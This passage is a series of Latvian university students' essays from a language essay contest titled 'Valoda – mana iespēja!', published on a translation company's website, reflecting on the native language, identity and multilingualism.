atcerēsies, kas tu esi un varēsi to izteikt. Tava valoda vienmēr ir un būs tava iespēja, bet kāds ir tavs mērķis? Ko tu gribi pateikt pasaulei? Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/sintijas-strazdinas-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Sintija Strazdiņa, Rīgas Stradiņa universitāte ESEJA “VALODA – MANA IESPĒJA! ” Valodas definīcija vēsta, ka tā ir artikulētu zīmju, skaņu un leksiski gramatisko līdzekļu sistēma, ko kāda indivīdu grupa izmanto sazināšanās un domāšanas procesā. Tas ir skaidrojums, kas sniedz virspusēju izpratni par valodas jēgu un to veidojošo pamatu, tomēr nepiešķir tai individuālu nokrāsu. Ikkatram valoda raisa nedaudz citādas asociācijas – vienam tā patiešām ir vien līdzeklis savu domu paušanai, citam prātā ataust atmiņas par neskaitāmu gramatikas likumu apguvi, bet vēl kāds tai piešķir emocionālu vērtību. Es valodu asociēju ar durvīm, smagām durvīm, kuru atvēršanai jāvelta garas stundas smaga darba un kas, visbeidzot paveroties, atklāj pavisam jaunu, iespēju pilnu pasauli. Pirmās, ko atveram, ir mūsu dzimtās valodas durvis. Tā ir viena no pirmajām iespējām identificēties ar kādu lielāku kopu. Šī valoda pirmā ļauj skaļi un skaidri izteikt savas domas, iepazīties ar citu indivīdu viedokļiem un pārdzīvojumiem, dalīties priekā un skumjās un dibināt abpusējā sapratnē balstītas attiecības. Tā ir valoda, kurā mācāmies izprast pasauli un cilvēkus mums apkārt, valoda, kurā pirmoreiz iepazīstam rakstīto tekstu un kas pavada mūs skolas gaitās. Tā veido nesaraujamu saikni ar teju ikkatru, kas ir daļa no tajā runājošo un domājošo cilvēku kopienas, kuras sirdī mājo dzimtās tautas kultūra, manā gadījumā – latviešu. Mazumiņu tās mēs nesam līdzi gan mājās, gan tālu prom no tām, kur svešinieku un nepazīstamu valodu burzmā, pēkšņi sadzirdot savējo, tā sasilda sirdi ar visu to, kas piešķir katram latvietim viņa īpašo piederības sajūtu – tautasdziesmu panti, raitais deju solis, ko pavada katra novada krāsās austu brunču virpulis, vai krastmalas vējā plīvojošs sarkanbaltsarkanais karogs. Arvien jaunas durvis mēs atveram savas dzīves laikā. Dažus mudina interese, citus – nepieciešamība, bet nenoliedzams ir fakts, ka plašākas valodu prasmes nozīmē vairāk iespēju. Katra valoda, kas pievienota cilvēka zināšanu krājumam, padara viņu bagātāku – ne tikai materiālā ziņā, kļūstot pievilcīgākam potenciālu darba devēju acīs, bet arī garīgi. Tas ir solis tuvāk kādas citas pasaules daļas iepazīšanai, tās kultūrai un cilvēkiem. Manu dzīvi valodu apguve bagātinājusi ar ievērojamu daudzumu skaistu mirkļu un spēcīgu draudzību. Šī pieredze un zināšanas radījušas zināmu drošības sajūtu – ar bagātīgu valodu krājumu pasaulē, šķiet, pazust nevar. Šīs atvērtās durvis atklāj neskaitāmus iespēju pilnus ceļus, un katrs no tiem aizvien attālina sasniedzamo horizontu, līdz iespēju pilnā pasaule kļūst bezgalīga. Manās acīs valoda ir kaut kas krietni vairāk par zīmēm, skaņām un gramatikas likumiem. Protams, bez tiem nevienas tautas valoda nebūtu iedomājama, taču tās emocionālo nozīmi šie aspekti ietvert nespēj. Es valodu asociēju ar durvīm, smagām durvīm, kas, ja reiz tiek atvērtas, parāda jaunu pasauli, kurā katram tiek dāvāta iespēja pilnveidoties, tiecoties pēc saviem ideāliem un nospraužot arvien augstākus mērķus. Šis ceļš sākas ar pirmajiem dzimtajā mēlē izrunātajiem vārdiem, un to, kā tas turpinās, nosaka katrs pats. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/ances-lepses-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Ance Lepse, Rīgas Tehniskā universitāte ESEJA “VALODA – MANA IESPĒJA! ” Latviešu valoda ir mana iespēja saprasties gan ar sevi, gan citiem. Latviešu valoda ir mana iespēja dibināt ciešu saikni ar savu valsti un saviem tautiešiem. Latviešu valoda ir ne tikai mana iespēja, bet arī mana atbildība- mans pienākums to pilnveidot un popularizēt, rast risinājumus un tehnoloģijas, kā to kopt un novērtēt, kā arī attīstīt un saglabāt. Lai gan valodnieku viedokļi par latviešu valodas izzušanu un izmiršanas draudiem dalās, es uzskatu, ka bažas ir pamatotas un izskaidrojamas ar dažādu demogrāfisku datu statistiku. Neskatoties uz to, esmu pozitīvi noskaņota un uzskatu, ka Latvijas jaunieši ir pietiekami kompetenti un mērķtiecīgi, lai neļautu savai valodai izzust un lai saglabātu to tikpat dzīvu un skanīgu. Ja man jautātu, vai latviešu valodas nākotne ir drošās rokās, es teiktu- jā! Uzskatu, ka bieži neievērojam to, cik talantīgi ir mūsu valsts jaunieši un mākslinieki, kas spēj savu talantu attīstīt, ietērpjot latviešu valodu jomās, kā reps, dzeja, proza, jaunu terminu izstrāde, zinātne, un citi. Jāatzīst, ka finanšu un politikas aspekts bieži kalpo kā šķērslis latviešu valodas lietojumā, tālab daudzi izvēlas saturu veidot, piemēram, angļu valodā. Tomēr jācenšas rast atbildi uz jautājumiem par to, kas ir mūsu, latviešu valodas pārstāvju, patiesās vērtības un kā tās mijiedarbojas ar šiem materiālajiem apgrūtinājumiem, kā arī ko mēs vēlamies sasniegt, ko saglabāt, mainīt vai atjaunot. Neņemot vērā latviešu un latviešu valodas runātāju nelielo skaitu attiecībā pret pārējiem pasaules iedzīvotājiem, mūsu valodas mantojums ir liels un krāšņs. Latviešu valodas vēsturiskie avoti ieņem gan kino, gan mūzikas, literatūras, mākslas un citu jomu formu. Šis mantojums ir jauno valodas zinātnieku, pētnieku, skolotāju un entuziastu trumpis. Analizējot pieejamo materiālu, pētot valodas izmaiņas, modifikācijas, dažādas tendences un tieksmes, paveram durvis uz dziļu valodas izzināšanu un attīstību. Šo valodas mantojumu ir būtiski saglabāt un apkopot, ko mūsdienās atspoguļo nozare, ko dēvē par datu digitalizāciju. Datu digitalizācijai un valodu tehnoloģijām, manuprāt, ir liela nozīme valsts valodas uzturēšanā un sargāšanā, kā arī šī mantojuma nodošanai no paaudzes paaudzē. Dažādu platformu izstrādāšana, kas apkopotu bagātīgo latviešu valodas materiāla apjomu visiem pieejamā un pārskatāmā formātā, ir viena no atslēgām latviešu valodas popularizēšanā un attīstībā. Avoti, kā Letonika un Tezaurs, ir ļoti noderīgi rīki darbā ar valodu. Uzskatu, ka latviešu valodas korpusa attīstība ir būtisks solis valodas apguvē un analīzē, kā arī kvalitatīva latviešu valodas mācību platformas vai aplikācijas izstrāde kļūs par vērtīgu mācību līdzekli un valodas stiprinājumu. Kā jau minēju, latviešu valoda ir mana iespēja komunicēt un sajusties piederīga savai zemei un līdzcilvēkiem, kā arī pati esmu atbildīga un spēju ietekmēt savas dzimtās valodas pastāvēšanu nākotnē. Cilvēki lietas un vērtības bieži novērtē tikai tad, kad to jau vairs nav. Ir būtiski neliegt izjust šo pašu latviešu valodas mīlestību un cieņu mūsu bērniem un mazbērniem, kas arī ir un būs pelnījuši saukt latviešu valodu par savu dzimto valodu. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/elinas-stenceles-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Elīna Štencele, Rīgas Tehniskā universitāte ESEJA “VALODA – MANA IESPĒJA! ” Klusums. Esmu ievilkusi elpu, lai runātu, taču vārdi neskan. Klusums. Gaisā jūtama pavasara tuvošanās- putni, skanīgi vīterodami, traucas apkārt un iedzīvina šobrīd vēl pelēcīgo skatu, saules stari atspīd no kūstošajām lāstekām, un krokusu galviņas spraucas ārā no tikko modušās zemes. Tāpat arī jūtams, kā no mana prāta labirintiem cenšas izlauzties domas. Iegrimstu tajās... Bērnībā mēs esam zinātkāri asniņi, kas vēl nenojauš, cik bargs var būt ziemeļu vējš. Mūsu valodā vārdu nav. Izzinām apkārtējo pasauli, apbrīnojam katru kripatiņu un vienkārši ļaujamies notiekošajam. Prieks par visu jauno ir tik neviltots, ka nemitīgi dzirdama ķiķināšana un pārsteiguma saucieni. Mēs runājam vienā valodā un saprotam citus, jo atrodamies uz viena- izzināšanas ceļa. Laikam ejot, mēs augam un no asniņa kļūstam par tiem, ko vecāki ielikuši mūsu kodolā. Kāds izaug par reibinošu liliju, kuras valoda ir pilna ar vārdiem, kas liek aizmirst ikdienas problēmas, kāds cits izaug par trauslu puķuzirnīti, kas klusītiņām vēro dzīvi un vārdus izdveš vien retu reizi. Dziedinošo kliņģerīšu valoda palīdz pārdzīvot mūsu nolauzto lapu sāpes un dod spēku nebaidīties veidot jaunus dzinumus. Līdz šobrīd redzamajam ziedam katrs esam ticis pa savu šķēršļiem pilno ceļu- centieni pierādīt sevi, kamēr atrodies citu ēnā, un apliecinājuma valgmes trūkums. Lai gan kopš mazotnes runājam vienā valodā, ir sajūta, ka cits citu nesaprotam. Ceļa garumā esam bagātinājuši valodu, tāpēc uz vienu notikumu skatāmies katrs no sava skata punkta. Mēs nevaram prasīt, lai otrs dzīvi redzētu tāpat. Nezinām, kādu ceļu otrs ir gājis, lai tagad varētu stāvēt ar augstu paceltu galvu, tāpēc mēs nenosodām. Ar iejūtību mēs neļaujam citiem ziediem novīst un dārzu saglabājam krāšņu. Klusums. Sakāmā ir tik daudz, bet telpā valda klusums. Atmiņā ataust Raiņa teiktais: “Valoda nevar būt bez domas, doma var būt bez valodas. ” Bet man taču ir gan doma, gan valoda... Kāpēc es nespēju sakopot domas un palaist tās brīvībā? Te nu es atceros par orhideju, kas cēli stāv uz palodzes un caur loga stiklu gadiem ilgi noskatās uz dārza puķēm. Tai nekad nav bijusi iespēja izteikties un dalīties savās domās, vienīgi pagriezt savus ziedus uz dobes pusi un pasmaidīt. Arī starp mums ir cilvēki, kuru valodā vārdu nav. Ikdienas steigā aizmirstam, ka arī viņi vēlas būt uzklausīti. Tikai nedaudz cilvēcības, un viss ir iespējams. Cilvēcība ir vienīgā valoda, kuru sapratīs visi, neatkarīgi no tā, kādām vētrām gājuši cauri. Tā ir valoda, ko dzird arī kurlie un kurā runā mēmie. Cilvēcības valoda ir mūsu vienīgā iespēja dārzā, kur svarīgs ir ikviens, saglabāt simbiozi. Klusums. Galvā vēl joprojām šaudās domas. Atklāsme, ka šīs domas mūžīgi var palikt tikai manā galvā, ja neļaušu tām lidot. Zinu, ka šobrīd valoda ir mana iespēja tikt sadzirdētai un saprastai. Ievelku elpu, aizveru acis un saku: “Ieklausieties... ” Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2024-09-23 - URL: https://skrivanek.lv/jelisavetas-kulikovas-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Jeļisaveta Kuļikova, Rīgas Tehniskā universitāte ESEJA “VALODA – MANA IESPĒJA! ” Austriešu-britu filozofs - Ludvigs Vitgenšteins - reiz teica: "Manas valodas robežas nozīmē manas pasaules robežas". Un patiešām, tieši valoda ir atslēga, kas atver visas mūsdienu pasaules durvis. Katram no mums ir savs unikāls valodas kopums, kas nosaka, kā mēs izsakām savas domas, jūtas un emocijas. Savā esejā es vēlos pārdomāt, kādas iespējas mums paver valodu zināšanas un kā tās ietekmē mūsu dzīvi kopumā. Vispirms ir vērts pieminēt, ka vairāki cilvēki, diemžēl, valodu apguvi atstāj novārtā un uzskata to par laika izšķiešanu. Manuprāt, viņi ir dziļi maldījušies, jo valodu prasmes neaprobežojas ar pamatfrāžu zināšanu un to pielietošanu kritiskajās situācijās. Valodas zināšanas tieši saista cilvēku ar tās tautas un valsts kultūru, tradīcijām un īpatnībām, kurai šī valoda pieder. Tieši valoda ir tas, kas ļauj mums brīvi komunicēt un sadarboties ar pārējiem cilvēkiem, veidot kontaktus un sakarus visā pasaulē, kas, savukārt, bieži vien nes augļus nākotnē. Pateicoties valodai, mēs iepazīstam apkārtējo pasauli un vienlaikus paplašinām savu redzesloku, jo valodas zināšanas sniedz mums iespēju iepazīt tādas lietas, par kurām nerakstīs nevienā avīzē vai neizplatīs mēdijos. Cilvēks, kurš ir atvērts valodām, vienmēr iegūs vairāk informācijas nekā tas, kurš nepārzina “esperanto” jēdzienu. Kā jau iepriekš minēju, valodu zināšanas paplašina cilvēka redzesloku un veido sakarus visā pasaulē. Pateicoties šīm iespējām, cilvēka dzīve kā mājās iegūst stabilu pamatu, uz kura iespējams būvēt savus panākumus un labklājību daudzās dzīves jomās, tostarp izglītībā un karjerā. Kā zināms, daudzu jauniešu galvenās bailes ir pavadīt savu dzīvi pilsētā vai valstī, kurā viņi ir dzimuši, bez iespējas sasniegt ko varenāku un pilnveidoties. Teiciens - "kur esi dzimis, tur esi noderīgs" - mūsdienu sabiedrībā pakāpeniski zaudē savu aktualitāti, jo cilvēki cenšas sasniegt arvien jaunas virsotnes. Tieši tāpēc es ticu, ka vislabākais ceļš, kā realizēt savus izvirzītos mērķus un pārvarēt personīgās bailes, ir valodu apguve. Ja cilvēks zina valodas, tad viņš nekad šajā dzīvē nepazudīs un varēs atrast profesiju jebkurā pasaules daļā, kaut arī tā nebūtu visprestižāka. Savukārt tiem, kuri ir ieguvuši izglītību un pārvalda vairākas valodas, nebūs nekādu šķēršļu, jo viņu iespēju loks ir neierobežots. Nākotnē tie ne tikai varēs strādāt dažādās pasaules vietās, bet arī justies tur kā mājās, kas ir veiksmīgas karjeras un dzīves ķīla. Ar savu eseju es gribu pateikt, ka nav svarīgi, ko apgalvo vai uzskata kāds cits, jo valoda bija, ir un vienmēr būs panākumu atslēga. Tieši valoda ir tas, kas ļauj mums labāk iepazīt sevi un citus, būt daļai no mainīgās pasaules, un ienest tajā to, kas uz visiem laikiem mainīs mūs pašus un radīs pasauli bez kara un naida, kurā mūsu bērni varēs pilnveidoties kā arī nebaidīties atkārtot savu priekšteču kļūdas. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/klintas-madaras-greilihas-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Klinta Madara Greiliha, Rīgas Tehniskā universitāte ESEJA “VALODA – MANA IESPĒJA! ” “Čau! ” – vārds, kas sniedza mierinošu māju sajūtu, dzīvojot Itālijā. Vārds, kas satuvināja ar vietējiem. Vārds, kas ļāva sarunā iepīt latviešu valodu. Kā svaigam gurķītim, tikko no omulīgās siltumnīcas (vidusskolas) ārā iznestam, ārzemēs pavadītais laiks man bija jauniem iespaidiem bagāts un izaicinošs. Viens no interesantākajiem aspektiem izrādījās valodas apguve. Jau ļoti drīz pēc ierašanās Itālijā sāku saskatīt sakarības starp latviešu un itāļu valodu. To, cik līdzīgi ir vārdi “camino” un “kamīns”, “cappucio” un “kapuce”, “doti” un “dotības”, “salvietta” un “salvete”, “dipingere” un “pindzelēt”, “pulire” un “pulēt” u. c. To, kā “brutto” nozīmē “nejauks”, “neglīts”, “brutāls”, un bruto alga visnotaļ nav tik jauka un gaidīta kā neto alga, vai ne tā? Iepriekš nezināju, ka varbūt pastāv saikne starp kaitinošu (itāļu “fastidiose”) un izvēlīgu (angļu “fastidious”) cilvēku. Kaut gan ap to laiku angļu valodu biju apguvusi jau diezgan augstā līmenī, es atklāju arvien jaunas līdzības starp valodām, ko iepriekš nebiju ievērojusi (piemēram, itāļu “precizi” , latviešu “precīzi” un angļu “precise” ). Protams, saknes vārdiem mēdz būt līdzīgas dažādās valodās, tomēr katra nākamā valoda paver iespēju labāk izprast jau it kā zināmās. Reiz es vienpatībā sēdēju tipiskā itāļu ēstuvē, kas pilsētu šaurajās ieliņās rindojas cita aiz citas, cīnoties par vietu ar tikpat iecienītajām “gelaterie” jeb saldējuma bodēm. Dzīvoju Itālijā vairāk nekā pusgadu un biju devusies brīvdienu braucienā uz Sicīliju. Kamēr gaidīju pasūtīto “pizzolo” jeb tādu kā dubulto picu, atvērās durvis. Nelielajā Sirakūzu restorānā ienāca pārītis un izvēlējās galdiņu pie telpas pretējās sienas. Pēkšņi manu uzmanību piesaistīja tik sen pazīstamu zilbju sadzirdēšana. Ieklausījos, un tiešām – latviešu valoda! Ja neskaita telefona zvanus, nebiju dzirdējusi dzimto valodu vairākus mēnešus, tādēļ jutu sajūsmas vilni uzvirmojam dvēselē. Kā jau kautrīgs latvietis, aiziet parunāties tā arī nesaņēmos, lai gan ēstuvē citu apmeklētāju tikpat kā nebija, taču pasmaidīju pie sevis un kā alkatīgs baumotājs ķēru katru vārdu, ko pa retam izdevās saklausīt pāri mūzikai, kas skanēja restorānā atmosfēras radīšanai. Ārzemēs būt latvietim ir vienreizīgi. Unikālā baltu valoda, ko lielākā daļa nav dzirdējuši un neatpazīst, ir iespēja gan izglītot interesentus, gan sajusties īpašam. Varbūt vienīgi lietuvieši var saprast mūsu saknes, tomēr mūsu sarunas ne-latvietis nekad nesapratīs. Varbūt muļķīgi, bet latvietis ārzemēs var droši izrakstīt savas pārdomas dienasgrāmatā un neuztraukties, ka istabas biedrs paņems un izlasīs tavas sirdi plosošākās atziņas par dzīvi. Lai nu kā, pēc astoņiem Itālijā pavadītiem mēnešiem es līksmoju par došanos mājup. Svētlaimi, kas mani ieskāva, atgriežoties dzimtenē, lielā mērā izraisīja latviešu valoda, kas beidzot atkal ieskanējās ausīs kā bērnības mīļākās dziesmas un pavērās acu skatienam ikdienišķu uzrakstu, ziņojumu, instrukciju, pat ceļazīmju veidolā. Kas to būtu domājis, cik vienkāršs prieks var uzdzirkstīt tādēļ vien, ka kasieris pie letes pasveicina latviešu valodā. Runāt latviski, sarakstīties latviski, aizpildīt anketas un sniegt intervijas latviski, rakstīt dzeju latviešu valodā – neviena cita valoda tā dvēseli nepiepildīs kā dzimtā. Mitinoties Itālijā, es daudz apdomāju to, diez kā “čau” aizceļoja līdz Latvijai un kā latvieši to iemīlēja – tieši itāļu “ciao” un nevis portugāļu “olá”, poļu “cześć” vai zviedru “hallå”. Visbeidzot nospriedu, ka, pat ja “čau” ir slengs, pat ja tas nav Kronvalda vai Raiņa jaunvārds, es priecājos, ka radus un draugus sveicinu vārdā, kas nav aizguvums no krievu, angļu vai vācu valodas. Tā vietā man tagad Latvijā ir vārds, kas silda sirdi un atgādina par otrajām mājām, par Itālijā piedzīvoto. Skaisti, kā valodas attīstās, atrod un papildina cita citu, vienlaikus saglabājot savu krāšņumu un neatkārtojamību. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/davida-rubena-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Dāvids Rubens, Rīgas Tehniskā universitāte ESEJA “VOLŪDA – MUNA ĪSPIEJA” Volūdnīkim tei ir maize, politikim šķeivs, iz kura padūt idejas sevkurā ārtā zūstē. Juristi ād lānom, kūžļojūt kotru kimūsu, meklejūt najaušu motu, kab tikai navajadzātu moksuot par mīlastu, a filosofi apcer teksturu, vaira laika tierejūt vuškys gales i buļbu byusmes analizei kai pošai iešonai. Kaids vysu dzeivi meklej jaunys izpausmis i receptis, cyts leidz siermam vacumam nūdzeivoj ar vuceibu, kas apgiuta saimē i školā... Prūtams, itei eseja nav par kulinareju ci gastronomeju, tūmār iedīņam i volūdai ir daudzi kūpeiga, i na tikai deļtuo kam mes vīnu i tū pošu muti izmantojam, lai uzjimtu uzturvīlas i vāluok vuordu formā atdūtu energeju. Bet caur tū, ka iedīņs ļauj organismam funkcionēt, taipoš kai volūda dūd vareibu cylvākim eksistēt sabīdreibā. Es studeju programā, kura pyrmajā breidī naraisa asociacejas ar volūdas jēdzīni, – Starptautiskū ekonomiskū sakaru vadeišona. Ekonomika – tai tod skaitļi, dūmoj muna babeņa, kurai da pot šam laikam nav izadevs īsavuicēt sapeitū programas nūsaukumu, koč studeju jau 3. kursā. „Starptautiskais? Jam jau vyss angliskai,“ nūsoka gudruoks sābrs voi roda gobols. Tuvuok pi volūdas sapratīņa nūnuok tī, kas ar smīkleņu komentej: „Gudrai bļuzneit jam vuica augstškolā. Vot tai! “ Kur itamā miniejumu murkskuļā palīk dzymtuo volūda? Lobs vaicuojums, eipaši taidam kai maņ, kuram divejis muotis volūdys. Laimeiba, ka atbiļdi pots sev asmu atrods jau seņ. Ir cylvāki, kuri skaidrai atguodoj pirmū bierneibys atmiņu, a es pavysam labi atcerūs tū reizi, kad par mani nuoce apskaidreiba, ka volūda ir īspieja. Vuicejūs sastajā klasē i, pasateicūt veiksemigi uzraksteitai esejai, uzvarieju konkursā, kura golvonā bolva beja nūmetne uorzemēs, tei beja pyrmuo reize, kod pabeju aiz Latvejis rūbežom. I zynit, varbyut piļsātā tys dajiukts, ka bārni ar vacuokim brauc atsapyust uz syltom molom, bet tūlaik itaids snāgums dareja mani par sova veida cīma izsliveibu. Varama līta, ka sovlobs beja muns volūdys īpazeišonas ceļš, bet, tam atsateistūt, vierīņš uz volūdys īspiejom puorsameja. Suokūtnēji raksteju konkursim, vāluok sovai prīcai, tān saprūtu, ka navaru bez raksteišonas iztikt, tei palikuse par daļu nu maņa. Kaids lels saprasmes pagrīziņš nūtika, kod piec muna stuosta izlaseišonas īraudzeju osoras klauseituoju acīs. Tī beja ļauds, kū es napazynu, i, gūdeigi sokūt, arī es jūs nazynovu, bet tai saguoje, ka svešinīki kļuva tyvi caur vuordim i tū atbaļsi emocejuos. Caur volūdu leidzēt arī cytym vaira nav tikai īspieja, bet gon miļzeiga duovona. Vysa pirma, raksteišona sakuortoj munys dūmys, bet vāluok ar itū, stiklineicā īspīstu sajyutu vātru, es eju cylvākūs. Kaids saprūt, cytam vysvīns, bet navar byutu pat diveju dūmu, ka tys paleidz stateit jaunu draudzeibu i sadarbeibu tyltus, seviški tū storpā, kuri raksteitā vuordā spiej izteikt vysu, kū par lyupom cytaiži gryuši dabyut... Labi! Švuorbys par tū, vai volūda patīšom ir muna īspieja, byušu izklīdējs, tūmār vaicuojums, kū es doru universitatē, kura nes “tehniskuos” vuordu, ir atkluots? Juojam tolkā īvoda saleidzynuojums par volūdu i iedīni. Ja byutu izavielējs humanitarū jūmu, tod mudrai puorsavārstu par “iedneicas bufetneicu”, kuru kairynoj vysaiži smuordi, bet tān raksteišona maņ vīnmār byus deserts, kū baudeit. Taišni partū pirms treis godim, svuorstelejūtīs storp studeju alternativom, izdareju itaidu izvieli. Nav cylvāka, kurs nabyutu dzierdējs vuordus – izmantoj sovu potencialu piļneibā, tok es teikšu, ka īspiejas ir juosorgoj. Sabīdreibai juosorgoj volūda vaļstiskā mārūgā, a individim juonūsorgoj īkšejuo volūdys sajyuta, deļ tuo, ka īspieju izmantošana nav myusu vareibas daruodejums, bet eistynas gribiešonas aplīcynuojums. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/liegas-krasovskas-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Liega Krasovska, Rīgas Tehniskā universitāte ESEJA “VALODA – MANA IESPĒJA! ” Valoda ir sākums. Valoda esam mēs, ikkatrs. Tā ir mūsu identitāte, raksturojums, saknes ar pagātni un asni nākotnei. Mēs dzīvojam interesantā pasaulē un laikos, kad valoda mainās ar mērķi palikt funkcionālākai, pēc iespējas īsākai, padarot izteikšanos vieglāku un veicinot laika ekonomiju. Šķietami var likties, ka latviešu valoda zaudē savu nozīmi, ienākot spēlēs laukumā lielajām, internacionālajām valodām, kurās runā simtiem miljonu cilvēku. Iespējams, bet šoreiz runāšu par sevi un sev doto un tikai. Jau kopš bērnības man ir ļoti laba dzimtās valodas izjūta, ko uzskatu par savu iespēju -latviešu valoda ir būtiska manas identitātes un senču mantojuma daļa. Lai arī es esmu multilingvistisks cilvēks, kas pārvalda trīs valodas, cerot drīzumā apgūt ceturto, tomēr neviena no svešvalodām nav tik daudz man devusi un mācījusi, kā latviešu. Šo es reiz savā jaunības maksimālismā centos pat stāstīt kādam dzīves karuselī iepazītam ārzemniekam, cik ļoti man latviešu valoda ir nozīmīga, cik ļoti man tā ir vajadzīga - kā augam, kas, nedabūjis ūdeni savām saknēm, sācis vīst un nīkuļot, jo tikai caur savu valodu es varu just telpiski, just ar matu galiem un asinīm, just dzīves krāsas un garšu tā – pa īstam. Latviešu valoda man ir mācījusi empātiju – ieklausīties otrā, sadzirdot sāpes, kas nospiež otru vai laimi un prieku, kas pārpārēm no otra nāk. Tā man ir mācījusi dalīties savās emocijās un sajūtās, kļūstot par atvērtāku cilvēku, cilvēku, kurš nebaidās izteikties un aizstāvēt savu vārdu un savu domu, jo man ķešā vienmēr ir vārdu krājums, no kura pasmelties tos īstos un pareizos. Valoda mani ir vienojusi, veidojot tiltus ar visdažādākajiem cilvēkiem, kas runā, domā, smejas, raud un dzīvo vienā valodā. Caur latviešu valodu es esmu iepazinusi savu zemi – Latviju, tās kultūru un cilvēkus. Es esmu iepazinusi, cik valoda skaista un daudzveidīga var būt - gan kā pavasara strautiņa urgas tecējums, gan mutuļojoša kā palu krāces, gan rēna savā plūdumā kā mūsu Likteņupe (šeit gan paldies būtu jāsaka Kārlim Kazākam, kas man ar savu darbību pavēra skatu mūsu plašās latviešu valodas raibajā deķī, kā arī mūsu rakstniekiem un dzejniekiem, kas radījuši darbus latviešu valodā, iezīmējot, akcentējot un svinot mūsu valodas bagātīgumu). Visbeidzot nevaram aizmirst arī par globalizācijas ietekmi un nepieciešamību mums, kā mazai nācijai, zināt arī kādu citu Eiropas Savienības oficiālo valodu. Arī šo iespēju man, mācīties citas valodas, deva latviešu valodas zināšanas, jo tās man ir kā stingri pamati (labās gramatikas, valodas sakarību un likumu zināšanas), uz kuriem var būvēt jebkuru citu svešo mēli. Caur latviešu valodu es kļuvu par profesionāli savā jomā, iegūstot izglītību, lai arī citas manis apgūtās valodas man problēmas nesagādā, tomēr latviešu valoda šajā procesā, kāpjot izglītības stikla kalnā, bija tā, ar kuru kopā roku rokā un ar kuras atbalstu veicu šos pašus pirmos nozīmīgākos soļus. Atgriežoties pie stāsta par ārzemnieku, kam centos ieskaidrot par latviešu valodas nozīmi, tomēr secināju, ka tā ir svarīga man un to tik viegli nepārdot, to tik viegli neieskaidrot, ja mūsu sirdis un prāti runā dažādi. Secināju, ka valoda ir viena no manām sargājamām un spodrināmām dimanta oliņām, ar ko viss sākas, jo man ir mana sirds valoda, kas ir vitāli svarīga, tā spēlē manas dvēseles arfas stīgas skanīgā melodijā, kas raksturo manu dzīvi caur un cauri. Mana identitāte ir latviešu valodas caurvīta un veidota. Es ar lepnumu nesu savu valodu, kas man ir devusi tik daudz, ar pietāti un atbildību es to apņemos kopt, jo valoda – tā esmu es, tas ir mans pirmsākums, manas saknes un mana nākotne. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/maras-laganovskas-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Māra Laganovska, Ventspils Augstskola ESEJA “VALODA – MANA IESPĒJA! ” Valoda ir viss. Pilnīgi viss. Tā ir iespēja pateikt "es tevi mīlu" (mēs visi to vēlamies dzirdēt). Tas ir veids, kā uzzināt, kādi būs šīs nedēļas laikapstākļi, vai kā garajā braucienā paziņot, ka tomēr vajag kaut kur piestāt, lai mazinātu spiedienu vēdera rajonā. Protams, klusums arī ir ļoti jauks. Dažreiz gribētos, lai kāds vienkārši pavisam mazlietiņ aizsien tos vārtus ciet, bet ne jau visu laiku, tā īsti nebūtu dzīvošana. Valoda ir mana iespēja dzīvot, nevis tikai izdzīvot. Tā ir iespēja parādīt citiem manu pasauli, jo katram jau tā ir citāda. Katrs uztver un apstrādā informāciju citādi, pamana kaut ko citu, pievērš uzmanību dažādām detaļām, balstoties uz savu iepriekšējo pieredzi. Tāpat kā visas esejas ar nosaukumu “Valoda – mana iespēja” būs atšķirīgas, arī mūsu pasaules, mūsu skatījums uz dzīvi un uz citiem cilvēkiem ir dažāds. Valoda var arī daudz ko pateikt par mums, par to, kādi cilvēki mēs esam, kādā sabiedrībā parasti uzturamies. Tā var ļoti ietekmēt pirmo iespaidu. Tāpēc būtu svarīgi arī kopt savu valodu. Mēs taču sapošamies pirms kādas tikšanās vai svarīga pasākuma, katru dienu neejam izspūruši ārā. Tāpat mums ikdienā vajadzētu arī kopt valodu. Man vēl ir daudz ko mācīties, un es cenšos. Tagad mēģinu sarunvalodā atkratīties no dažiem angļu vārdiem, kas bija tīri labi tur iedzīvojušies. Pārsvarā tie bija tādi mazi vārdiņi, kā ‘yes’ un ‘okay’. Taču dažreiz, sarakstoties ar draugiem, tiek izmantotas visas iespējamās valodas, kuras konkrētais draugu loks pārvalda. Arī šo ieradumu cenšos pārtraukt, bet ne vienmēr izdodas. Mums apkārt ir tik daudz valodu. Tā ir neatņemama dzīves sastāvdaļa. Valodai ir liela nozīme sevišķi šajā straujajā informācijas laikmetā, kad tajā pašā dienā varam uzzināt jaunumus pat no otra pasaules gala. Taču jaunieši ir vairāk piesaistīti angļu valodai. Tagad tā skaitās “stilīgā” valoda. Kāpēc tik daudzi nenovērtē latviešu valodu? Varbūt tāpēc, ka tā ir mums blakus katru dienu. Ir taču tā, ka mēs nenovērtējam to, kas mums ir, līdz tā vairs nav, tiecamies pēc kaut kā sveša vai jauna. Arī es sapratu, cik svarīga ir latviešu valoda tikai tad, kad gadu nodzīvoju Itālijā ar cilvēkiem no dažādām valstīm, ikdienā dzirdot itāļu, spāņu, angļu, franču, ungāru un vācu valodu. Tajā laikā, kad iespēja parunāt latviski bija tikai pa telefonu vai mācot draugiem kādus vārdus, tajā laikā es patiesi novērtēju latviešu valodu. Sapratu, ka tie nav tikai vārdu virknējumi, tas ir kas krietni lielāks un spēcīgāks. Tā ir kopība, tā ir iespēja justies piederīgam. Vēl tagad atceros, kāda bija sajūsma, 